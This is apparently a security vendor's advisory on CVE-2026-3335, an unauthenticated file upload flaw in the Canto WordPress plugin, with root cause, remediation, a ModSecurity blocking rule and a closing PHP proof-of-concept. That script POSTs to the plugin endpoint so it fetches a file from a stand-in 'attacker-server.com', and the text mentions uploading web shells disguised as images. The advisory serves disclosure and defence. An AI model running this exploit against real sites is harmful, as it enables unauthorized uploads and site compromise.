Atomic Edge analysis of CVE-2026-3335 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Canto WordPress plugin, allowing unauthenticated attackers to upload arbitrary files to the site’s uploads directory. The core issue resides in the directly accessible `/wp-content/plugins/canto/includes/lib/copy-media.php` file, which lacks authentication, authorization, and nonce validation.
Atomic Edge research infers the root cause is the direct, unprotected inclusion of a server-side script. The vulnerability description confirms the file is accessible without any capability checks. The plugin accepts the `fbc_flight_domain` and `fbc_app_api` URL components as user-supplied POST parameters instead of reading them from secure, admin-configured options. An attacker can supply a malicious `fbc_app_token` and control the entire fetch-and-upload chain, bypassing the legitimate Canto API. These conclusions are directly stated in the provided description.
Exploitation requires an unauthenticated HTTP POST request to the vulnerable endpoint. The attacker sets the `fbc_flight_domain` and `fbc_app_api` parameters to point to a server they control. This server must respond with a file that matches WordPress-allowed MIME types. The attacker also supplies a controlled `fbc_app_token`. The plugin fetches the file from the attacker’s server and saves it to the WordPress uploads directory. Additional endpoints like `detail.php` and `download.php` are similarly accessible and accept a user-supplied `app_api` parameter.
Remediation requires implementing proper authorization checks. The plugin must verify the current user has appropriate capabilities, such as `upload_files` or `edit_posts`, before processing any upload or API request. The plugin must also implement WordPress nonce verification for all state-changing actions. The `fbc_flight_domain` and `fbc_app_api` values should be read exclusively from stored plugin options, not from user-supplied POST parameters. These fixes are inferred from the CWE-862 classification and standard WordPress security practices.
Successful exploitation leads to arbitrary file upload. The impact is limited to files with WordPress-allowed MIME types, which typically excludes executable PHP files unless the site has misconfigured MIME validation. An attacker could upload web shells disguised as images, HTML files containing malicious scripts, or other content used for defacement, phishing, or as a pivot for further attacks. The CVSS vector scores a 5.3 (Medium) with impacts on Integrity but not Confidentiality or Availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3335 (metadata-based)
SecRule REQUEST_URI "@streq /wp-content/plugins/canto/includes/lib/copy-media.php"
"id:20263335,phase:2,deny,status:403,chain,msg:'CVE-2026-3335: Unauthenticated File Upload in Canto Plugin via direct file access',severity:'CRITICAL',tag:'CVE-2026-3335',tag:'WordPress',tag:'Plugin/Canto'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:fbc_flight_domain "!^$" "chain"
SecRule ARGS_POST:fbc_app_api "!^$"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3335 - Canto <= 3.1.1 - Missing Authorization to Unauthenticated File Upload
<?php
$target_url = 'https://victim-site.com/wp-content/plugins/canto/includes/lib/copy-media.php';
// Attacker-controlled server that will serve the malicious file.
// This server must respond with a valid Content-Type header matching a WordPress-allowed MIME type (e.g., image/jpeg).
$attacker_server = 'https://attacker-server.com/malicious-image.jpg';
// The token is attacker-controlled, as described.
$attacker_token = 'fake_token_123';
// Prepare POST data as described in the vulnerability.
// The plugin uses fbc_flight_domain and fbc_app_api to construct the fetch URL.
// We point both to the attacker-controlled server.
$post_data = array(
'fbc_flight_domain' => 'attacker-server.com', // Used to build the fetch URL.
'fbc_app_api' => $attacker_server, // The full URL to fetch.
'fbc_app_token' => $attacker_token // Controlled by attacker.
);
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only.
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only.
// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors and output results.
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
}
curl_close($ch);
?>
